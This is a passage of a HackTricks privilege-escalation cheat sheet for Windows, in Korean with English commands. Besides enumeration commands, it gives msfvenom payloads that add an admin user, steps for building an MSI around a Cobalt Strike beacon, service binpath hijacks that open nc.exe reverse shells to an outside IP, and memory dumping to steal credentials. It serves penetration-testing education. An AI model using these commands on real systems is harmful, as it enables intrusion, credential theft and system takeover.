Windows Local Privilege Escalation

Support HackTricks

Best tool to look for Windows local privilege escalation vectors: WinPEAS

Initial Windows Theory

Access Tokens

Windows Access Tokens이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어보세요:

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs에 대한 더 많은 정보는 다음 페이지를 확인하세요:

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Windows에서의 무결성 수준이 무엇인지 모른다면, 계속하기 전에 다음 페이지를 읽어보세요:

Integrity Levels

Windows Security Controls

Windows에는 시스템을 열거하는 것을 방지하거나, 실행 파일을 실행하거나 심지어 당신의 활동을 감지하는 다양한 요소가 있습니다. 권한 상승 열거를 시작하기 전에 다음 페이지를 읽고 모든 방어 메커니즘을 열거해야 합니다:

Windows Security Controls

System Info

Version info enumeration

Windows 버전에 알려진 취약점이 있는지 확인하세요 (적용된 패치도 확인하세요).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

사이트는 Microsoft 보안 취약점에 대한 자세한 정보를 검색하는 데 유용합니다. 이 데이터베이스에는 4,700개 이상의 보안 취약점이 있으며, Windows 환경이 제공하는 대규모 공격 표면을 보여줍니다.

시스템에서

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas는 watson이 내장되어 있습니다)

시스템 정보로 로컬에서

익스플로잇의 Github 리포지토리:

Environment

환경 변수에 저장된 자격 증명/유용한 정보가 있습니까?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShell 기록

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell 전사 파일

이 기능을 활성화하는 방법은 https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/에서 확인할 수 있습니다.

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell 모듈 로깅

PowerShell 파이프라인 실행의 세부 사항이 기록되며, 실행된 명령, 명령 호출 및 스크립트의 일부가 포함됩니다. 그러나 전체 실행 세부 사항 및 출력 결과는 캡처되지 않을 수 있습니다.

이를 활성화하려면 문서의 "전사 파일" 섹션의 지침을 따르고 **"모듈 로깅"**을 선택하십시오. "Powershell 전사" 대신에.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell 로그에서 마지막 15개의 이벤트를 보려면 다음을 실행할 수 있습니다:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell 스크립트 블록 로깅

스크립트 실행의 전체 활동 및 전체 콘텐츠 기록이 캡처되어, 실행되는 모든 코드 블록이 문서화됩니다. 이 과정은 각 활동의 포괄적인 감사 추적을 보존하여 포렌식 및 악의적인 행동 분석에 유용합니다. 실행 시 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰력을 제공합니다.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

스크립트 블록에 대한 로그 이벤트는 Windows 이벤트 뷰어의 경로 응용 프로그램 및 서비스 로그 > Microsoft > Windows > PowerShell > 운영에서 찾을 수 있습니다. 마지막 20개의 이벤트를 보려면 다음을 사용할 수 있습니다:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

인터넷 설정

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

드라이브

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

업데이트가 http가 아닌 httpS를 사용하여 요청되지 않는 경우 시스템을 손상시킬 수 있습니다.

다음 명령어를 실행하여 네트워크가 비SSL WSUS 업데이트를 사용하는지 확인합니다:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

만약 다음과 같은 응답을 받으면:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer is equals to 1.

Then, 악용 가능성 있음. 마지막 레지스트리가 0이면 WSUS 항목은 무시됩니다.

이 취약점을 악용하기 위해 다음과 같은 도구를 사용할 수 있습니다: Wsuxploit, pyWSUS - 이는 비 SSL WSUS 트래픽에 '가짜' 업데이트를 주입하기 위한 MiTM 무기화된 익스플로잇 스크립트입니다.

여기에서 연구를 읽어보세요:

WSUS CVE-2020-1013

전체 보고서를 여기에서 읽어보세요. 기본적으로, 이 버그가 악용하는 결함은 다음과 같습니다:

우리가 로컬 사용자 프록시를 수정할 수 있는 권한이 있고, Windows 업데이트가 Internet Explorer의 설정에 구성된 프록시를 사용한다면, 우리는 PyWSUS를 로컬에서 실행하여 자신의 트래픽을 가로채고 자산에서 상승된 사용자로서 코드를 실행할 수 있는 권한을 가지게 됩니다.

게다가, WSUS 서비스는 현재 사용자의 설정을 사용하므로, 현재 사용자의 인증서 저장소도 사용합니다. WSUS 호스트 이름에 대해 자체 서명된 인증서를 생성하고 이 인증서를 현재 사용자의 인증서 저장소에 추가하면 HTTP 및 HTTPS WSUS 트래픽을 모두 가로챌 수 있습니다. WSUS는 인증서에 대한 신뢰-첫 사용 유형 검증을 구현하기 위해 HSTS와 유사한 메커니즘을 사용하지 않습니다. 제시된 인증서가 사용자에 의해 신뢰되고 올바른 호스트 이름을 가지고 있다면, 서비스에 의해 수용됩니다.

이 취약점을 WSUSpicious 도구를 사용하여 악용할 수 있습니다 (해방되면).

KrbRelayUp

로컬 권한 상승 취약점이 특정 조건 하에 Windows 도메인 환경에 존재합니다. 이러한 조건에는 LDAP 서명이 시행되지 않는 환경, 사용자가 **리소스 기반 제약 위임(RBCD)**을 구성할 수 있는 자기 권한을 가지며, 사용자가 도메인 내에서 컴퓨터를 생성할 수 있는 능력이 포함됩니다. 이러한 요구 사항기본 설정을 사용하여 충족된다는 점에 유의해야 합니다.

익스플로잇을 찾으세요 https://github.com/Dec0ne/KrbRelayUp

공격 흐름에 대한 자세한 정보는 https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/를 확인하세요.

AlwaysInstallElevated

2개의 레지스터가 활성화되어 있으면 (값이 0x1), 모든 권한의 사용자가 NT AUTHORITY\SYSTEM으로 *.msi 파일을 설치(실행)할 수 있습니다.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

메타스플로잇 페이로드

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

If you have a meterpreter session you can automate this technique using the module exploit/windows/local/always_install_elevated

PowerUP

Write-UserAddMSI 명령어를 사용하여 현재 디렉토리 내에 권한 상승을 위한 Windows MSI 바이너리를 생성합니다. 이 스크립트는 사용자/그룹 추가를 요청하는 미리 컴파일된 MSI 설치 프로그램을 작성합니다(따라서 GIU 접근이 필요합니다):

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

이 튜토리얼을 읽고 이 도구를 사용하여 MSI 래퍼를 만드는 방법을 배우세요. 명령줄실행하려는 경우 ".bat" 파일을 래핑할 수 있습니다.

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Cobalt Strike 또는 Metasploit를 사용하여 C:\privesc\beacon.exe새 Windows EXE TCP 페이로드생성합니다.

  • Visual Studio를 열고 새 프로젝트 만들기를 선택한 후 검색 상자에 "installer"를 입력합니다. Setup Wizard 프로젝트를 선택하고 Next를 클릭합니다.

  • 프로젝트 이름을 AlwaysPrivesc로 지정하고, 위치에 **C:\privesc**를 사용하며, 해결책과 프로젝트를 동일한 디렉토리에 배치를 선택하고 Create를 클릭합니다.

  • 4단계 중 3단계(포함할 파일 선택)에 도달할 때까지 Next를 계속 클릭합니다. Add를 클릭하고 방금 생성한 Beacon 페이로드를 선택합니다. 그런 다음 Finish를 클릭합니다.

  • Solution Explorer에서 AlwaysPrivesc 프로젝트를 강조 표시하고 Properties에서 TargetPlatformx86에서 x64로 변경합니다.

  • 설치된 앱이 더 합법적으로 보이도록 AuthorManufacturer와 같은 다른 속성을 변경할 수 있습니다.

  • 프로젝트를 마우스 오른쪽 버튼으로 클릭하고 View > Custom Actions를 선택합니다.

  • Install을 마우스 오른쪽 버튼으로 클릭하고 Add Custom Action을 선택합니다.

  • Application Folder를 두 번 클릭하고 beacon.exe 파일을 선택한 후 OK를 클릭합니다. 이렇게 하면 설치 프로그램이 실행될 때 비콘 페이로드가 즉시 실행됩니다.

  • Custom Action Properties에서 Run64BitTrue로 변경합니다.

  • 마지막으로 빌드합니다.

  • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' 경고가 표시되면 플랫폼을 x64로 설정했는지 확인합니다.

MSI Installation

악성 .msi 파일의 설치백그라운드에서 실행하려면:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

이 취약점을 악용하려면 다음을 사용할 수 있습니다: exploit/windows/local/always_install_elevated

안티바이러스 및 탐지기

감사 설정

이 설정은 무엇이 로그되는지를 결정하므로 주의해야 합니다.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding는 로그가 어디로 전송되는지 아는 것이 흥미롭습니다.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS로컬 관리자 비밀번호 관리를 위해 설계되었으며, 각 비밀번호가 고유하고 무작위이며 정기적으로 업데이트되도록 보장합니다. 이러한 비밀번호는 Active Directory 내에 안전하게 저장되며, ACL을 통해 충분한 권한이 부여된 사용자만 접근할 수 있어, 권한이 있는 경우 로컬 관리자 비밀번호를 볼 수 있습니다.

LAPS

WDigest

활성화된 경우, 평문 비밀번호는 LSASS(로컬 보안 권한 하위 시스템 서비스)에 저장됩니다. WDigest에 대한 더 많은 정보는 이 페이지에서 확인하세요.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA 보호

Windows 8.1부터 Microsoft는 신뢰할 수 없는 프로세스가 메모리를 읽거나 코드를 주입하려는 시도를 차단하기 위해 로컬 보안 권한(LSA)에 대한 향상된 보호 기능을 도입하여 시스템을 더욱 안전하게 만들었습니다. LSA 보호에 대한 자세한 정보는 여기에서 확인하세요.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential GuardWindows 10에서 도입되었습니다. 그 목적은 패스-더-해시 공격과 같은 위협으로부터 장치에 저장된 자격 증명을 보호하는 것입니다.| 자격 증명 보호에 대한 자세한 정보는 여기에서 확인하세요.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

도메인 자격 증명로컬 보안 권한(LSA)에 의해 인증되며 운영 체제 구성 요소에서 사용됩니다. 사용자의 로그인 데이터가 등록된 보안 패키지에 의해 인증되면, 일반적으로 사용자의 도메인 자격 증명이 설정됩니다. Cached Credentials에 대한 자세한 정보는 여기에서 확인하세요.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

사용자 및 그룹

사용자 및 그룹 나열

귀하가 속한 그룹 중 흥미로운 권한이 있는지 확인해야 합니다.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Privileged groups

만약 당신이 특권 그룹에 속한다면 권한을 상승시킬 수 있습니다. 특권 그룹에 대해 배우고 이를 악용하여 권한을 상승시키는 방법은 여기에서 확인하세요:

Privileged Groups

Token manipulation

더 알아보세요 이 페이지에서 토큰이 무엇인지: Windows Tokens. 다음 페이지를 확인하여 흥미로운 토큰에 대해 배우고 이를 악용하는 방법을 알아보세요:

Abusing Tokens

Logged users / Sessions

qwinsta
klist sessions

홈 폴더

dir C:\Users
Get-ChildItem C:\Users

비밀번호 정책

net accounts

클립보드의 내용 가져오기

powershell -command "Get-Clipboard"

실행 중인 프로세스

파일 및 폴더 권한

우선, 프로세스를 나열하여 프로세스의 명령줄에 있는 비밀번호를 확인합니다. 실행 중인 일부 바이너리를 덮어쓸 수 있는지 또는 바이너리 폴더에 대한 쓰기 권한이 있는지 확인하여 가능한 DLL 하이재킹 공격을 이용합니다:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

항상 가능한 electron/cef/chromium 디버거가 실행 중인지 확인하세요. 이를 악용하여 권한을 상승시킬 수 있습니다.

프로세스 바이너리의 권한 확인

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

프로세스 바이너리의 폴더 권한 확인 (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

procdump를 사용하여 실행 중인 프로세스의 메모리 덤프를 생성할 수 있습니다. FTP와 같은 서비스는 메모리에 평문으로 자격 증명을 저장하므로, 메모리를 덤프하고 자격 증명을 읽어보세요.

procdump.exe -accepteula -ma <proc_name_tasklist>

안전하지 않은 GUI 앱

SYSTEM으로 실행되는 애플리케이션은 사용자가 CMD를 실행하거나 디렉토리를 탐색할 수 있도록 허용할 수 있습니다.

예: "Windows 도움말 및 지원" (Windows + F1), "명령 프롬프트" 검색, "명령 프롬프트 열기 클릭" 클릭

서비스

서비스 목록 가져오기:

net start
wmic service list brief
sc query
Get-Service

Permissions

sc를 사용하여 서비스 정보를 얻을 수 있습니다.

sc qc <service_name>

각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 accesschk를 사용하는 것이 좋습니다.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

"인증된 사용자"가 어떤 서비스도 수정할 수 있는지 확인하는 것이 권장됩니다:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

여기에서 XP용 accesschk.exe를 다운로드할 수 있습니다

서비스 활성화

이 오류가 발생하는 경우(예: SSDPSRV):

시스템 오류 1058이 발생했습니다. 서비스를 시작할 수 없습니다. 서비스가 비활성화되었거나 활성화된 장치가 연결되어 있지 않기 때문입니다.

다음과 같이 활성화할 수 있습니다.

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

서비스 upnphost가 SSDPSRV에 의존하여 작동한다는 점을 고려하세요 (XP SP1의 경우)

이 문제의 또 다른 해결 방법은 다음을 실행하는 것입니다:

sc.exe config usosvc start= auto

서비스 이진 경로 수정

"인증된 사용자" 그룹이 서비스에 대해 SERVICE_ALL_ACCESS를 보유한 경우, 서비스의 실행 파일을 수정할 수 있습니다. sc를 수정하고 실행하려면:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

서비스 재시작

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

권한은 다양한 권한을 통해 상승할 수 있습니다:

  • SERVICE_CHANGE_CONFIG: 서비스 바이너리의 재구성을 허용합니다.

  • WRITE_DAC: 권한 재구성을 가능하게 하여 서비스 구성을 변경할 수 있게 합니다.

  • WRITE_OWNER: 소유권 획득 및 권한 재구성을 허용합니다.

  • GENERIC_WRITE: 서비스 구성을 변경할 수 있는 능력을 상속받습니다.

  • GENERIC_ALL: 또한 서비스 구성을 변경할 수 있는 능력을 상속받습니다.

이 취약점을 탐지하고 악용하기 위해 _exploit/windows/local/service_permissions_를 사용할 수 있습니다.

서비스 바이너리의 약한 권한

서비스에 의해 실행되는 바이너리를 수정할 수 있는지 또는 바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인하십시오 (DLL Hijacking). wmic를 사용하여 서비스에 의해 실행되는 모든 바이너리를 가져오고 icacls를 사용하여 권한을 확인할 수 있습니다:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

You can also use sc and icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

서비스 레지스트리 수정 권한

서비스 레지스트리를 수정할 수 있는지 확인해야 합니다. 서비스 레지스트리에 대한 권한을 확인하려면 다음을 수행할 수 있습니다:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

인증된 사용자 또는 NT AUTHORITY\INTERACTIVEFullControl 권한을 가지고 있는지 확인해야 합니다. 그렇다면 서비스에 의해 실행되는 바이너리를 변경할 수 있습니다.

실행되는 바이너리의 경로를 변경하려면:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory permissions

이 권한이 레지스트리에 있으면 이 레지스트리에서 하위 레지스트리를 생성할 수 있습니다. Windows 서비스의 경우, 이는 임의의 코드를 실행하기에 충분합니다:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

실행 파일의 경로가 따옴표 안에 없으면, Windows는 공백 이전의 모든 끝을 실행하려고 시도합니다.

예를 들어, 경로 _C:\Program Files\Some Folder\Service.exe_에 대해 Windows는 다음을 실행하려고 시도합니다:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

모든 따옴표가 없는 서비스 경로를 나열하되, 기본 제공 Windows 서비스에 속하는 것은 제외합니다:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

이 취약점을 탐지하고 악용할 수 있습니다 metasploit로: exploit/windows/local/trusted\_service\_path metasploit로 서비스 바이너리를 수동으로 생성할 수 있습니다:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Recovery Actions

Windows는 서비스가 실패할 경우 취할 작업을 사용자가 지정할 수 있도록 허용합니다. 이 기능은 바이너리를 가리키도록 구성할 수 있습니다. 이 바이너리가 교체 가능하다면, 권한 상승이 가능할 수 있습니다. 더 많은 세부정보는 공식 문서에서 확인할 수 있습니다.

Applications

Installed Applications

바이너리의 권한(하나를 덮어쓸 수 있을지도 모르므로 권한 상승 가능성)과 폴더의 권한(DLL Hijacking)을 확인하십시오.

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

쓰기 권한

특정 파일을 읽기 위해 일부 구성 파일을 수정할 수 있는지 또는 관리자 계정에 의해 실행될 이진 파일을 수정할 수 있는지 확인하십시오 (schedtasks).

시스템에서 약한 폴더/파일 권한을 찾는 방법은 다음과 같습니다:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

시작 시 실행

다른 사용자가 실행할 레지스트리나 바이너리를 덮어쓸 수 있는지 확인하세요. 다음 페이지를 읽어 권한 상승을 위한 흥미로운 autoruns 위치에 대해 더 알아보세요:

Privilege Escalation with Autoruns

드라이버

가능한 서드파티 이상한/취약한 드라이버를 찾아보세요.

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

PATH에 있는 폴더 내에 쓰기 권한이 있는 경우 프로세스에 의해 로드된 DLL을 하이재킹하고 권한을 상승시킬 수 있습니다.

PATH 내 모든 폴더의 권한을 확인하세요:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

더 많은 정보는 이 체크를 악용하는 방법에 대해:

Writable Sys Path +Dll Hijacking Privesc

네트워크

공유

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

hosts 파일에 하드코딩된 다른 알려진 컴퓨터가 있는지 확인하십시오.

type C:\Windows\System32\drivers\etc\hosts

네트워크 인터페이스 및 DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Open Ports

외부에서 제한된 서비스를 확인하십시오.

netstat -ano #Opened ports?

라우팅 테이블

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP 테이블

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

방화벽 규칙

방화벽 관련 명령어는 이 페이지를 확인하세요 (규칙 목록, 규칙 생성, 끄기, 끄기...)

네트워크 열거를 위한 명령어는 여기에서 확인하세요

윈도우 리눅스 하위 시스템 (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Binary bash.exeC:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe에서도 찾을 수 있습니다.

루트 사용자 권한을 얻으면 어떤 포트에서도 수신할 수 있습니다(처음 nc.exe를 사용하여 포트에서 수신할 때 GUI를 통해 nc가 방화벽에 의해 허용되어야 하는지 묻습니다).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

bash를 루트로 쉽게 시작하려면 --default-user root를 시도할 수 있습니다.

WSL 파일 시스템은 C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\ 폴더에서 탐색할 수 있습니다.

Windows 자격 증명